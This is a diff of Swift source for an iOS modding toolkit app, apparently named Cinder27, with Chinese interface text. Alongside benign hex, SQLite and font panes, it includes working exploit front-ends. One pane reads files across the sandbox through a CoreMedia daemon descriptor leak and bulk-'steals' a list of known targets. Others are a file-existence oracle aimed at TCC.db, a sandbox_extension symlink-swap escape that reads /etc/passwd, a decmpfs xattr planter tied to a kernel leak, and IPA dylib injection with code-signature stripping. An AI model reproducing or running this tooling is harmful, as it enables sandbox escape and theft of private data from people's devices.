guard sysctlbyname("kern.boottime", &boottime, &size, nil, 0) == 0 else { return "—" }
let uptime = Date().timeIntervalSince1970 - Double(boottime.tv_sec)
let h = Int(uptime) / 3600
let m = (Int(uptime) % 3600) / 60
return "\(h)h \(m)m"
}
}
// MARK: - Provisioning profile census
enum ProfileCensus {
struct Profile {
var name: String
var uuid: String
var teamID: String
var appID: String
var expires: Date?
var devices: Int
var entitlements: [String]
var path: String
}
static func installed() -> [Profile] {
let dirs = ["/private/var/MobileDevice/ProvisioningProfiles",
"/private/var/mobile/Library/MobileDevice/ProvisioningProfiles"]
var out: [Profile] = []
for dir in dirs {
guard let names = try? FileManager.default.contentsOfDirectory(atPath: dir) else { continue }
for name in names where name.hasSuffix(".mobileprovision") {
let path = (dir as NSString).appendingPathComponent(name)
guard let data = try? Data(contentsOf: URL(fileURLWithPath: path)),
let text = String(data: data, encoding: .isoLatin1),
let start = text.range(of: "<?xml"),
let end = text.range(of: "</plist>") else { continue }
let xml = String(text[start.lowerBound..<end.upperBound])
guard let plistData = xml.data(using: .utf8),
let obj = try? PropertyListSerialization.propertyList(from: plistData, format: nil) as? [String: Any] else { continue }
let ents = obj["Entitlements"] as? [String: Any] ?? [:]
out.append(Profile(
name: obj["Name"] as? String ?? name,
uuid: obj["UUID"] as? String ?? "—",
teamID: (obj["TeamIdentifier"] as? [String])?.first ?? "—",
appID: ents["application-identifier"] as? String ?? "—",
expires: obj["ExpirationDate"] as? Date,
devices: (obj["ProvisionedDevices"] as? [String])?.count ?? 0,
entitlements: ents.keys.sorted(),
path: path))
}
}
return out
}
}
+579
View File
@@ -0,0 +1,579 @@
import SwiftUI
import UniformTypeIdentifiers
import CoreText
// MARK: - IPA surgery
struct IPAPane: View {
@State private var source: URL?
@State private var picking = false
@State private var bundleID = ""
@State private var displayName = ""
@State private var version = ""
@State private var buildVersion = ""
@State private var minOS = ""
@State private var dylib = ""
@State private var patchFind = ""
@State private var patchReplace = ""
@State private var stripSig = true
@State private var busy = false
@State private var log: [String] = []
@State private var output: URL?
private var workdir: URL {
let base = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask).first
?? URL(fileURLWithPath: NSTemporaryDirectory())
let dir = base.appendingPathComponent("Cinder27/IPA", isDirectory: true)
try? FileManager.default.createDirectory(at: dir, withIntermediateDirectories: true)
return dir
}
var body: some View {
ScrollView {
VStack(spacing: 14) {
Card {
VStack(alignment: .leading, spacing: 10) {
SectionLabel(text: tl("源 IPA"))
Button { picking = true } label: {
HStack(spacing: 8) {
Image(systemName: "shippingbox.fill").font(.system(size: 12))
Text(source?.lastPathComponent ?? tl("选择一个 .ipa")).font(T.body)
Spacer()
Image(systemName: "chevron.right").font(.system(size: 10, weight: .bold))
}
.foregroundColor(source == nil ? .white.opacity(0.4) : T.ember)
.padding(10)
.background(RoundedRectangle(cornerRadius: 9).fill(T.panelHi))
}
Text(tl("工具会解包、改 Info.plist、往主二进制里插 LC_LOAD_DYLIB、做字节级字符串替换、去掉 LC_CODE_SIGNATURE,然后重新打成 zip。产出仍然是未签名的 —— 你用同一套证书签它。"))
.font(T.tiny).foregroundColor(.white.opacity(0.35))
.fixedSize(horizontal: false, vertical: true)
}
}
Card {
VStack(alignment: .leading, spacing: 8) {
SectionLabel(text: "Info.plist")
field("Bundle ID", $bundleID, "com.example.app")
field(tl("显示名称"), $displayName, tl("新名字"))
field(tl("版本"), $version, "2.0")
field(tl("构建号"), $buildVersion, "42")
field(tl("最低系统"), $minOS, "17.0")
}
}
Card {
VStack(alignment: .leading, spacing: 8) {
SectionLabel(text: tl("二进制"))
field(tl("注入 dylib 路径"), $dylib, "@executable_path/Frameworks/Hook.dylib")
field(tl("搜索字符串"), $patchFind, "com.old.bundleid")
field(tl("替换为"), $patchReplace, "com.new.bundleid")
Toggle(isOn: $stripSig) {
Text(tl("移除 LC_CODE_SIGNATURE")).font(T.body).foregroundColor(.white.opacity(0.75))
}.tint(T.ember)
Text(tl("替换串不能比原串长 —— 这是原地改写,不改文件布局,所以不会破坏任何偏移。注入 LC_LOAD_DYLIB 需要头部有空隙,没有就会明确报出来。"))
.font(T.tiny).foregroundColor(.white.opacity(0.32))
.fixedSize(horizontal: false, vertical: true)
}
}
RunButton(title: busy ? tl("处理中…") : tl("生成改机 IPA"),
systemImage: "wand.and.stars", tint: T.ember, disabled: busy || source == nil) {
run()
}
if !log.isEmpty {
Card {
VStack(alignment: .leading, spacing: 4) {
SectionLabel(text: tl("过程"))
ForEach(Array(log.enumerated()), id: \.offset) { _, line in
Text(line).font(T.monoSm).foregroundColor(.white.opacity(0.6))
.fixedSize(horizontal: false, vertical: true)
}
}
}
}
if let output = output {
Card {
VStack(alignment: .leading, spacing: 6) {
SectionLabel(text: tl("产出"))
Text(output.lastPathComponent).font(T.mono).foregroundColor(T.good)
Text(output.path).font(T.monoSm).foregroundColor(.white.opacity(0.35))
.textSelection(.enabled)
if let size = (try? FileManager.default.attributesOfItem(atPath: output.path))?[.size] as? NSNumber {
Text("\(size.int64Value) B").font(T.monoSm).foregroundColor(.white.opacity(0.3))
}
}
}
}
}
.padding(16)
}
.sheet(isPresented: $picking) {
FilePickerSheet(isPresented: $picking) { url in
source = url
log = [tl("已选择 ") + "\(url.lastPathComponent)"]
}
}
}
private func field(_ label: String, _ binding: Binding<String>, _ placeholder: String) -> some View {
HStack(spacing: 10) {
Text(label).font(T.body).foregroundColor(.white.opacity(0.45)).frame(width: 96, alignment: .leading)
TextField(placeholder, text: binding)
.font(T.mono)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
.padding(8)
.background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi))
}
}
private func run() {
guard let source = source else { return }
busy = true
log = []
output = nil
var recipe = IPARecipe()
recipe.bundleID = bundleID.isEmpty ? nil : bundleID
recipe.displayName = displayName.isEmpty ? nil : displayName
recipe.version = version.isEmpty ? nil : version
recipe.buildVersion = buildVersion.isEmpty ? nil : buildVersion
recipe.minOS = minOS.isEmpty ? nil : minOS
recipe.injectedDylib = dylib.isEmpty ? nil : dylib
recipe.patchedString = patchFind.isEmpty ? nil : patchFind
recipe.patchedReplacement = patchReplace.isEmpty ? nil : patchReplace
recipe.stripSignature = stripSig
let dir = workdir
DispatchQueue.global(qos: .userInitiated).async {
var lines: [String] = []
var result: URL?
do {
let r = try IPASurgeon.patch(source: source, recipe: recipe, workdir: dir)
lines = r.notes
lines.append(tl("产出 ") + "\(r.entries)" + tl(" 个文件"))
result = r.outputURL
} catch {
lines.append(tl("失败: ") + "\(error.localizedDescription)")
}
DispatchQueue.main.async {
log = lines
output = result
busy = false
}
}
}
}
// MARK: - Hex editor
struct HexPane: View {
@State private var target: URL?
@State private var picking = false
@State private var dump = ""
@State private var find = ""
@State private var replaceWith = ""
@State private var hits: [Int] = []
@State private var status = ""
@State private var offsetLimit = 8192
var body: some View {
ScrollView {
VStack(spacing: 14) {
Card {
VStack(alignment: .leading, spacing: 10) {
SectionLabel(text: tl("目标"))
Button { picking = true } label: {
HStack(spacing: 8) {
Image(systemName: "doc.text.magnifyingglass").font(.system(size: 12))
Text(target?.lastPathComponent ?? tl("选择一个文件")).font(T.body)
Spacer()
Image(systemName: "chevron.right").font(.system(size: 10, weight: .bold))
}
.foregroundColor(target == nil ? .white.opacity(0.4) : T.ember)
.padding(10)
.background(RoundedRectangle(cornerRadius: 9).fill(T.panelHi))
}
if !status.isEmpty {
Text(status).font(T.monoSm).foregroundColor(.white.opacity(0.6))
}
}
}
Card {
VStack(alignment: .leading, spacing: 8) {
SectionLabel(text: tl("查找 / 替换"))
TextField(tl("文本,或 41 42 43 / 0x414243"), text: $find)
.font(T.mono).textInputAutocapitalization(.never).autocorrectionDisabled()
.padding(8).background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi))
TextField(tl("替换(可选,不能更长)"), text: $replaceWith)
.font(T.mono).textInputAutocapitalization(.never).autocorrectionDisabled()
.padding(8).background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi))
HStack(spacing: 8) {
RunButton(title: tl("查找"), systemImage: "magnifyingglass", tint: T.info,
disabled: target == nil || find.isEmpty) { search() }
RunButton(title: tl("替换并保存"), systemImage: "arrow.triangle.2.circlepath",
tint: T.ember,
disabled: target == nil || find.isEmpty || replaceWith.isEmpty) { replace() }
}
if !hits.isEmpty {
Text(tl("命中 ") + "\(hits.count)" + tl(" 处: ") + hits.prefix(12).map { String(format: "0x%x", $0) }.joined(separator: ", "))
.font(T.monoSm).foregroundColor(T.good)
.fixedSize(horizontal: false, vertical: true)
}
}
}
if !dump.isEmpty {
Card {
VStack(alignment: .leading, spacing: 4) {
HStack {
SectionLabel(text: tl("十六进制"))
Spacer()
Button(tl("更多")) { offsetLimit += 16384; load() }
.font(T.tiny).tint(T.ember)
}
Text(dump)
.font(.system(size: 10, design: .monospaced))
.foregroundColor(.white.opacity(0.72))
.textSelection(.enabled)
.frame(maxWidth: .infinity, alignment: .leading)
}
}
}
}
.padding(16)
}
.sheet(isPresented: $picking) {
FilePickerSheet(isPresented: $picking) { url in
target = url
hits = []
status = ""
load()
}
}
}
private func load() {
guard let target = target else { return }
guard let data = try? Data(contentsOf: target) else {
status = tl("读取失败")
return
}
dump = hexdump(data, limit: offsetLimit)
status = "\(data.count) B"
}
private func search() {
guard let target = target, let data = try? Data(contentsOf: target) else { return }
hits = HexTool.search(data, pattern: find)
status = hits.isEmpty ? tl("未命中") : tl("命中 ") + "\(hits.count)" + tl(" 处")
}
private func replace() {
guard let target = target, let data = try? Data(contentsOf: target) else { return }
let backup = target.path + ".cinder27.bak"
if !FileManager.default.fileExists(atPath: backup) {
try? FileManager.default.copyItem(atPath: target.path, toPath: backup)
}
let (patched, count) = HexTool.replace(data, pattern: find, with: replaceWith)
if count == 0 {
status = tl("未命中,未写入")
return
}
do {
try patched.write(to: target)
status = tl("替换 ") + "\(count)" + tl(" 处并已保存(备份 ") + "\(URL(fileURLWithPath: backup).lastPathComponent)" + tl(")")
load()
hits = HexTool.search(patched, pattern: replaceWith)
} catch {
status = tl("写入失败: ") + "\(error.localizedDescription)"
}
}
}
// MARK: - xattr / decmpfs
struct XattrPane: View {
@State private var target: URL?
@State private var picking = false
@State private var entries: [(String, Int)] = []
@State private var detail: [String] = []
@State private var status = ""
var body: some View {
ScrollView {
VStack(spacing: 14) {
Card {
VStack(alignment: .leading, spacing: 10) {
SectionLabel(text: tl("目标文件"))
Button { picking = true } label: {
HStack(spacing: 8) {
Image(systemName: "tag.fill").font(.system(size: 12))
Text(target?.lastPathComponent ?? tl("选择文件")).font(T.body)
Spacer()
Image(systemName: "chevron.right").font(.system(size: 10, weight: .bold))
}
.foregroundColor(target == nil ? .white.opacity(0.4) : T.ember)
.padding(10)
.background(RoundedRectangle(cornerRadius: 9).fill(T.panelHi))
}
if !status.isEmpty {
Text(status).font(T.monoSm).foregroundColor(.white.opacity(0.6))
}
}
}
Card {
VStack(alignment: .leading, spacing: 6) {
SectionLabel(text: tl("扩展属性"))
if entries.isEmpty {
Text(tl("无")).font(T.monoSm).foregroundColor(.white.opacity(0.3))
} else {
ForEach(Array(entries.enumerated()), id: \.offset) { _, e in
HStack {
Text(e.0).font(T.monoSm).foregroundColor(.white.opacity(0.75))
Spacer()
Text("\(e.1) B").font(T.monoSm).foregroundColor(.white.opacity(0.3))
}
}
}
}
}
if !detail.isEmpty {
Card {
VStack(alignment: .leading, spacing: 4) {
SectionLabel(text: tl("详情"))
ForEach(Array(detail.enumerated()), id: \.offset) { _, line in
Text(line).font(T.monoSm).foregroundColor(.white.opacity(0.65))
.fixedSize(horizontal: false, vertical: true)
}
}
}
}
Card {
VStack(alignment: .leading, spacing: 8) {
SectionLabel(text: tl("decmpfs 操作"))
Text(tl("com.apple.decmpfs 是内核压缩文件系统用的属性。改它等于直接改内核解压的输入 —— CVE-2026-113910 就是这条路径上「解压产出少于预期」时内核把未写满的页缓冲交给用户态。这里可以手动设一个、读回来、再删掉。"))
.font(T.tiny).foregroundColor(.white.opacity(0.38))
.fixedSize(horizontal: false, vertical: true)
HStack(spacing: 8) {
RunButton(title: tl("写入探测属性"), systemImage: "square.and.arrow.down",
tint: T.ember, disabled: target == nil) { plantDecmpfs() }
RunButton(title: tl("移除"), systemImage: "trash", tint: T.warn,
disabled: target == nil) { removeDecmpfs() }
}
}
}
}
.padding(16)
}
.sheet(isPresented: $picking) {
FilePickerSheet(isPresented: $picking) { url in
target = url
reload()
}
}
}
private func reload() {
guard let target = target else { return }
entries = XattrTool.list(target.path)
detail = []
if let data = XattrTool.read(target.path, name: "com.apple.decmpfs") {
detail.append(XattrTool.decmpfsHeader(data))
detail.append(hexdump(data, limit: 128))
}
status = "\(entries.count)" + tl(" 个属性")
}
private func plantDecmpfs() {
guard let target = target else { return }
let payload = Decmpfs.chunkedXattr(uncompressedSize: 65536, chunkCount: 1, producePerChunk: 4096)
if let err = XattrTool.write(target.path, name: "com.apple.decmpfs", value: payload) {
status = tl("写入失败: ") + "\(err)"
} else {
status = tl("已写入 ") + "\(payload.count)" + tl(" B 的 decmpfs 属性")
}
reload()
}
private func removeDecmpfs() {
guard let target = target else { return }
if let err = XattrTool.remove(target.path, name: "com.apple.decmpfs") {
status = tl("移除失败: ") + "\(err)"
} else {
status = tl("已移除")
}
reload()
}
}
// MARK: - SQLite
struct SQLitePane: View {
@State private var target: URL?
@State private var picking = false
@State private var tables: [String] = []
@State private var sql = "SELECT * FROM sqlite_master LIMIT 20;"
@State private var columns: [String] = []
@State private var rows: [[String]] = []
@State private var status = ""
var body: some View {
ScrollView {
VStack(spacing: 14) {
Card {
VStack(alignment: .leading, spacing: 10) {
SectionLabel(text: tl("数据库"))
Button { picking = true } label: {
HStack(spacing: 8) {
Image(systemName: "cylinder.split.1x2").font(.system(size: 12))
Text(target?.lastPathComponent ?? tl("选择 .sqlite / .db")).font(T.body)
Spacer()
Image(systemName: "chevron.right").font(.system(size: 10, weight: .bold))
}
.foregroundColor(target == nil ? .white.opacity(0.4) : T.ember)
.padding(10)
.background(RoundedRectangle(cornerRadius: 9).fill(T.panelHi))
}
if !tables.isEmpty {
Text(tl("表: ") + tables.prefix(12).joined(separator: ", "))
.font(T.monoSm).foregroundColor(.white.opacity(0.45))
.fixedSize(horizontal: false, vertical: true)
}
}
}
Card {
VStack(alignment: .leading, spacing: 8) {
SectionLabel(text: tl("查询(只读)"))
TextEditor(text: $sql)
.font(.system(size: 11.5, design: .monospaced))
.frame(height: 90)
.scrollContentBackground(.hidden)
.background(T.panelHi)
.cornerRadius(8)
RunButton(title: tl("执行"), systemImage: "play.fill", tint: T.info,
disabled: target == nil) { runQuery() }
if !status.isEmpty {
Text(status).font(T.monoSm).foregroundColor(.white.opacity(0.55))
}
}
}
if !columns.isEmpty {
Card {
VStack(alignment: .leading, spacing: 4) {
Text(columns.joined(separator: " | "))
.font(.system(size: 10, weight: .semibold, design: .monospaced))
.foregroundColor(T.emberSoft)
.fixedSize(horizontal: false, vertical: true)
Divider().overlay(T.stroke)
ForEach(Array(rows.enumerated()), id: \.offset) { _, row in
Text(row.joined(separator: " | "))
.font(.system(size: 10, design: .monospaced))
.foregroundColor(.white.opacity(0.7))
.fixedSize(horizontal: false, vertical: true)
}
}
}
}
}
.padding(16)
}
.sheet(isPresented: $picking) {
FilePickerSheet(isPresented: $picking) { url in
target = url
open()
}
}
}
private func open() {
guard let target = target else { return }
#if canImport(SQLite3)
tables = SQLiteBrowser.tables(target.path)
status = "\(tables.count)" + tl(" 张表")
#else
status = tl("SQLite3 不可用")
#endif
}
private func runQuery() {
guard let target = target else { return }
#if canImport(SQLite3)
let result = SQLiteBrowser.query(target.path, sql)
columns = result.columns
rows = result.rows
status = result.error ?? "\(result.rows.count)" + tl(" 行")
#endif
}
}
// MARK: - Fonts
struct FontPane: View {
@State private var picking = false
@State private var log: [String] = []
@State private var names: [String] = []
var body: some View {
ScrollView {
VStack(spacing: 14) {
Card {
VStack(alignment: .leading, spacing: 10) {
SectionLabel(text: tl("字体安装"))
Text(tl("把字体文件注册进本进程的字体域。iOS 允许应用注册用户字体,注册后 CoreText 立刻可见 —— 这是改机里唯一一条完全不需要任何越权就能改「系统观感」的路径,代价是只在本进程生效。"))
.font(T.body).foregroundColor(.white.opacity(0.65))
.fixedSize(horizontal: false, vertical: true)
RunButton(title: tl("选择字体文件"), systemImage: "textformat", tint: T.ember) {
picking = true
}
}
}
if !log.isEmpty {
Card {
VStack(alignment: .leading, spacing: 4) {
SectionLabel(text: tl("结果"))
ForEach(Array(log.enumerated()), id: \.offset) { _, line in
Text(line).font(T.monoSm).foregroundColor(.white.opacity(0.65))
.fixedSize(horizontal: false, vertical: true)
}
}
}
}
Card {
VStack(alignment: .leading, spacing: 4) {
SectionLabel(text: tl("系统可用字体(") + "\(names.count)" + tl(")"))
ForEach(names.prefix(80), id: \.self) { n in
Text(n).font(T.monoSm).foregroundColor(.white.opacity(0.55))
}
}
}
}
.padding(16)
}
.onAppear {
if names.isEmpty {
DispatchQueue.global(qos: .userInitiated).async {
let list = FontInstaller.installed()
DispatchQueue.main.async { names = list }
}
}
}
.sheet(isPresented: $picking) {
FilePickerSheet(isPresented: $picking) { url in
let result = FontInstaller.install(url)
log.append(result)
names = FontInstaller.installed()
}
}
}
}
+641
View File
@@ -0,0 +1,641 @@
import SwiftUI
import UniformTypeIdentifiers
// MARK: - Toolkit hub
struct ModView: View {
@State private var pane = 0
private var panes: [(String, String)] {
[
(t("pane.files"), "folder.fill"),
(t("pane.cross"), "arrow.left.arrow.right"),
(t("pane.symlink"), "link.badge.plus"),
(t("pane.apps"), "app.fill"),
(t("pane.prefs"), "slider.horizontal.3"),
(t("pane.procs"), "list.bullet.rectangle"),
(t("pane.daemons"), "gearshape.2.fill"),
(t("pane.crashes"), "exclamationmark.triangle.fill"),
(t("pane.binary"), "cpu"),
(t("pane.hex"), "number"),
(t("pane.xattr"), "tag.fill"),
(t("pane.sqlite"), "cylinder.split.1x2"),
(t("pane.archive"), "shippingbox.fill"),
(t("pane.hash"), "number.square.fill"),
(t("pane.fonts"), "textformat"),
(t("pane.ipa"), "wand.and.stars"),
(t("pane.backup"), "archivebox.fill"),
(t("pane.telemetry"), "gauge.medium"),
(t("pane.profiles"), "checkmark.seal.fill"),
]
}
var body: some View {
NavigationStack {
VStack(spacing: 0) {
ScrollView(.horizontal, showsIndicators: false) {
HStack(spacing: 7) {
ForEach(Array(panes.enumerated()), id: \.offset) { i, entry in
Button { pane = i } label: {
HStack(spacing: 4) {
Image(systemName: entry.1).font(.system(size: 9, weight: .semibold))
Text(entry.0)
}
.font(T.tiny)
.foregroundColor(pane == i ? T.ember : .white.opacity(0.45))
.padding(.horizontal, 8).padding(.vertical, 4)
.background(Capsule().fill(pane == i ? T.ember.opacity(0.14) : Color.clear))
.overlay(Capsule().strokeBorder(pane == i ? T.ember.opacity(0.35) : T.stroke, lineWidth: 0.6))
}
}
}
.padding(.horizontal, 16)
.padding(.vertical, 9)
}
switch pane {
case 0: FilesPane()
case 1: CrossSandboxPane()
case 2: SymlinkPane()
case 3: AppsPane()
case 4: PrefsPane()
case 5: ProcessPane()
case 6: DaemonPane()
case 7: CrashPane()
case 8: BinaryPane()
case 9: HexPane()
case 10: XattrPane()
case 11: SQLitePane()
case 12: ArchivePane()
case 13: HashPane()
case 14: FontPane()
case 15: IPAPane()
case 16: BackupPane()
case 17: TelemetryPane()
default: ProfilePane()
}
}
.background(T.bg.ignoresSafeArea())
.navigationTitle(t("mod.title"))
.navigationBarTitleDisplayMode(.inline)
}
}
}
// MARK: - Cross-sandbox reader (CVE-2026-112706)
struct CrossSandboxPane: View {
@State private var entries: [String] = []
@State private var listing = false
@State private var status = ""
@State private var handshake: [String] = []
@State private var stolen: [(name: String, bytes: Int, url: URL?)] = []
@State private var previews: [String: String] = [:]
@State private var path = FdLeak.readableDomain
@State private var oraclePath = ""
@State private var oracleResult = ""
@State private var busy = false
var body: some View {
ScrollView {
VStack(spacing: 14) {
Card {
VStack(alignment: .leading, spacing: 9) {
HStack {
SectionLabel(text: "CoreMedia bytestream")
Spacer()
Pill(text: "CVE-2026-112706", color: T.violet)
}
Text(tl("mediaplaybackd.bytestream.xpc 对任何沙盒应用可达。守护进程以自身凭据打开客户端指定的绝对路径,并把活描述符放进回复的 ByteStreamDetails。描述符级 I/O 不受客户端沙盒的路径检查约束 —— 应用自身 open() 返回 EPERM 的文件,其内容可经该描述符完整读回。"))
.font(T.body).foregroundColor(.white.opacity(0.66))
.fixedSize(horizontal: false, vertical: true)
if !handshake.isEmpty {
VStack(alignment: .leading, spacing: 1) {
ForEach(Array(handshake.enumerated()), id: \.offset) { _, line in
Text(line).font(T.monoSm).foregroundColor(.white.opacity(0.4))
}
}
}
HStack(spacing: 8) {
RunButton(title: listing ? "…" : tl("枚举目录"), systemImage: "list.bullet",
tint: T.violet, disabled: busy) { listDirectory() }
RunButton(title: busy ? "…" : tl("全部读取"), systemImage: "arrow.down.doc",
tint: T.ember, disabled: busy) { stealAll() }
}
if !status.isEmpty {
Text(status).font(T.monoSm).foregroundColor(.white.opacity(0.6))
.fixedSize(horizontal: false, vertical: true)
}
}
}
Card {
VStack(alignment: .leading, spacing: 8) {
SectionLabel(text: tl("路径"))
TextField(FdLeak.readableDomain, text: $path)
.font(T.monoSm)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
.padding(8)
.background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi))
ForEach(Array(entries.enumerated()), id: \.offset) { _, name in
HStack(spacing: 7) {
Image(systemName: "doc").font(.system(size: 10))
.foregroundColor(.white.opacity(0.35))
Text(name).font(T.monoSm)
.foregroundColor(.white.opacity(0.72)).lineLimit(1)
Spacer()
Button {
readOne(name)
} label: {
Image(systemName: "arrow.down.circle").font(.system(size: 12))
}.tint(T.ember)
}
}
}
}
if !oracleResult.isEmpty {
Card {
Text(oracleResult).font(T.monoSm).foregroundColor(.white.opacity(0.7))
.frame(maxWidth: .infinity, alignment: .leading)
.fixedSize(horizontal: false, vertical: true)
}
}
Card {
VStack(alignment: .leading, spacing: 8) {
SectionLabel(text: tl("存在性预言机"))
Text(tl("真实但被拒的路径返回 -12203,不存在的路径返回 -17913。两个不同的服务端错误码在不授予访问的前提下披露文件是否存在。"))
.font(T.tiny).foregroundColor(.white.opacity(0.35))
.fixedSize(horizontal: false, vertical: true)
TextField("/private/var/mobile/Library/TCC/TCC.db", text: $oraclePath)
.font(T.monoSm)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
.padding(8)
.background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi))
RunButton(title: tl("探测"), systemImage: "questionmark.circle", tint: T.info,
disabled: busy || oraclePath.isEmpty) { probeOracle() }
}
}
if !stolen.isEmpty {
Card {
VStack(alignment: .leading, spacing: 8) {
SectionLabel(text: tl("已取回"))
ForEach(Array(stolen.enumerated()), id: \.offset) { _, item in
VStack(alignment: .leading, spacing: 2) {
HStack {
Text(item.name).font(T.monoSm).foregroundColor(T.good)
Spacer()
Text("\(item.bytes) B").font(T.monoSm).foregroundColor(.white.opacity(0.3))
}
if let preview = previews[item.name] {
Text(preview).font(T.monoSm)
.foregroundColor(.white.opacity(0.4)).lineLimit(2)
}
}
}
}
}
}
}
.padding(16)
}
}
private func session(_ body: @escaping (FdLeak.Session) -> Void) {
busy = true
DispatchQueue.global(qos: .userInitiated).async {
guard let s = FdLeak.Session() else {
DispatchQueue.main.async { busy = false; status = tl("会话建立失败") }
return
}
let log = s.handshakeLog
body(s)
s.shutdown()
DispatchQueue.main.async { handshake = log; busy = false }
}
}
private func listDirectory() {
session { s in
let result = s.list(path)
DispatchQueue.main.async {
entries = result.entries
status = "\(result.entries.count)" + tl(" 个条目 · mode ") + "\(String(result.vend.mode, radix: 8))"
}
}
}
private func readOne(_ name: String) {
let full = path.hasSuffix("/") ? path + name : path + "/" + name
session { s in
let (data, vend) = s.read(full)
DispatchQueue.main.async {
guard let data = data else {
status = tl("读取失败: ") + "\(vend.note)"
return
}
let url = try? Container.write(data, to: Container.work.appendingPathComponent("x_\(name)").path)
stolen.append((name, data.count, url))
previews[name] = String(data: data.prefix(120), encoding: .utf8)?
.replacingOccurrences(of: "\n", with: "\\n")
?? data.prefix(24).map { String(format: "%02x", $0) }.joined()
status = "✓ \(name) \(data.count) B"
}
}
}
private func stealAll() {
session { s in
var results: [(String, Int, URL?)] = []
var heads: [String: String] = [:]
for (label, target) in FdLeak.knownTargets {
let (data, _) = s.read(target)
guard let data = data else { continue }
let url = try? Container.write(data, to: Container.work.appendingPathComponent("x_\(label)").path)
results.append((label, data.count, url))
heads[label] = String(data: data.prefix(120), encoding: .utf8)?
.replacingOccurrences(of: "\n", with: "\\n")
?? data.prefix(24).map { String(format: "%02x", $0) }.joined()
}
DispatchQueue.main.async {
stolen = results
previews = heads
status = results.isEmpty ? tl("未取到数据") : tl("✓ ") + "\(results.count)" + tl(" 个文件")
}
}
}
private func probeOracle() {
session { s in
let e = s.probeExistence(oraclePath)
let text: String
switch e.code {
case 0: text = tl("可开(code 0)")
case FdLeak.errAccessDenied: text = tl("存在但被拒 (-12203)")
case FdLeak.errNoSuchFile: text = tl("不存在 (-17913)")
default: text = tl("错误码 ") + "\(e.code)"
}
DispatchQueue.main.async {
oracleResult = "\(text)\n\(oraclePath)"
}
}
}
}
// MARK: - Symlink escape
struct SymlinkPane: View {
@State private var target = "/etc/passwd"
@State private var result = ""
@State private var output = ""
@State private var busy = false
@State private var history: [(String, Int, Bool)] = []
private let presets = ["/etc/passwd", "/etc/group", "/etc/hosts", "/etc/services",
"/var/preferences/com.apple.networkd.plist"]
var body: some View {
ScrollView {
VStack(spacing: 14) {
Card {
VStack(alignment: .leading, spacing: 9) {
HStack {
SectionLabel(text: "sandbox_extension TOCTOU")
Spacer()
Pill(text: tl("未修复"), color: T.ember)
}
Text(tl("sandbox_extension_issue_file 在签发时解析符号链接,但不强制 SANDBOX_EXTENSION_NOFOLLOW。签发返回的令牌绑定签发时刻解析出的目标,而内核对消费时刻所用路径不做复核。序列为:沙盒内建立链接 L 指向沙盒内文件 S → 对 L 签发扩展 → 将 L 重指向沙盒外目标 T → 消费令牌后经 L 读取。"))
.font(T.body).foregroundColor(.white.opacity(0.66))
.fixedSize(horizontal: false, vertical: true)
Text(tl("该序列确定性成立,不需要竞态窗口。Apple 未将其视为安全问题,因此没有 CVE 编号。"))
.font(T.tiny).foregroundColor(.white.opacity(0.35))
.fixedSize(horizontal: false, vertical: true)
}
}
Card {
VStack(alignment: .leading, spacing: 8) {
SectionLabel(text: tl("目标"))
TextField("/etc/passwd", text: $target)
.font(T.monoSm)
.textInputAutocapitalization(.never)
.autocorrectionDisabled()
.padding(8)
.background(RoundedRectangle(cornerRadius: 8).fill(T.panelHi))
ScrollView(.horizontal, showsIndicators: false) {
HStack(spacing: 6) {
ForEach(presets, id: \.self) { p in
Button { target = p } label: {
Pill(text: (p as NSString).lastPathComponent, color: .white.opacity(0.45))
}
}
}
}
RunButton(title: busy ? "…" : tl("越过沙盒读取"),
systemImage: "link.badge.plus", tint: T.ember, disabled: busy) { run() }
}
}
if !result.isEmpty {
Card {
Text(result).font(T.monoSm).foregroundColor(.white.opacity(0.7))
.frame(maxWidth: .infinity, alignment: .leading)
.fixedSize(horizontal: false, vertical: true)
}
}
if !output.isEmpty {
Card {
VStack(alignment: .leading, spacing: 4) {
SectionLabel(text: tl("内容"))
Text(output)
.font(.system(size: 10, design: .monospaced))
.foregroundColor(.white.opacity(0.72))
.textSelection(.enabled)
.frame(maxWidth: .infinity, alignment: .leading)
}
}
}
if !history.isEmpty {
Card {
VStack(alignment: .leading, spacing: 4) {
SectionLabel(text: tl("记录"))
ForEach(Array(history.enumerated()), id: \.offset) { _, row in
HStack {
Image(systemName: row.2 ? "checkmark.circle.fill" : "xmark.circle")
.font(.system(size: 9))
.foregroundColor(row.2 ? T.good : .white.opacity(0.25))
Text(row.0).font(T.monoSm).foregroundColor(.white.opacity(0.6)).lineLimit(1)
Spacer()
Text("\(row.1) B").font(T.monoSm).foregroundColor(.white.opacity(0.3))
}
}
}
}
}
}
.padding(16)
}
}
private func run() {
busy = true
let t = target
DispatchQueue.global(qos: .userInitiated).async {
let link = Container.work.appendingPathComponent("sbx_link")
let decoy = Container.work.appendingPathComponent("sbx_decoy")
let r = SandboxExtension.readThroughSwap(target: t, link: link, decoy: decoy)
let direct = SandboxExtension.directRead(t)
DispatchQueue.main.async {
busy = false
result = [
tl("目标 ") + "\(t)",
tl("签发 ") + "\(r.issued ? tl("成功") : tl("失败"))",
tl("消费 ") + "\(r.consumed ? tl("成功") : tl("失败"))",
tl("读取 ") + "\(r.bytes)" + tl(" B"),
tl("对照 直接读 ") + (direct.errno != 0
? "errno=\(direct.errno) (\(String(cString: strerror(direct.errno))))"
: "\(direct.bytes) B"),
r.note,
].joined(separator: "\n")
if let data = r.data, let text = String(data: data.prefix(4000), encoding: .utf8) {
output = text
} else if let data = r.data {
output = data.prefix(512).map { String(format: "%02x", $0) }.joined()
} else {
output = ""
}
history.append((t, r.bytes, r.ok))
}
}
}
}
// MARK: - Hash
struct HashPane: View {
@State private var target: URL?
@State private var picking = false
@State private var results: [(String, String)] = []
@State private var busy = false
var body: some View {
ScrollView {
VStack(spacing: 14) {
Card {
VStack(alignment: .leading, spacing: 10) {
SectionLabel(text: t("pane.hash"))
Button { picking = true } label: {
HStack(spacing: 8) {
Image(systemName: "number.square.fill").font(.system(size: 12))
Text(target?.lastPathComponent ?? t("files.select")).font(T.body)
Spacer()
Image(systemName: "chevron.right").font(.system(size: 10, weight: .bold))
}
.foregroundColor(target == nil ? .white.opacity(0.4) : T.ember)
.padding(10)
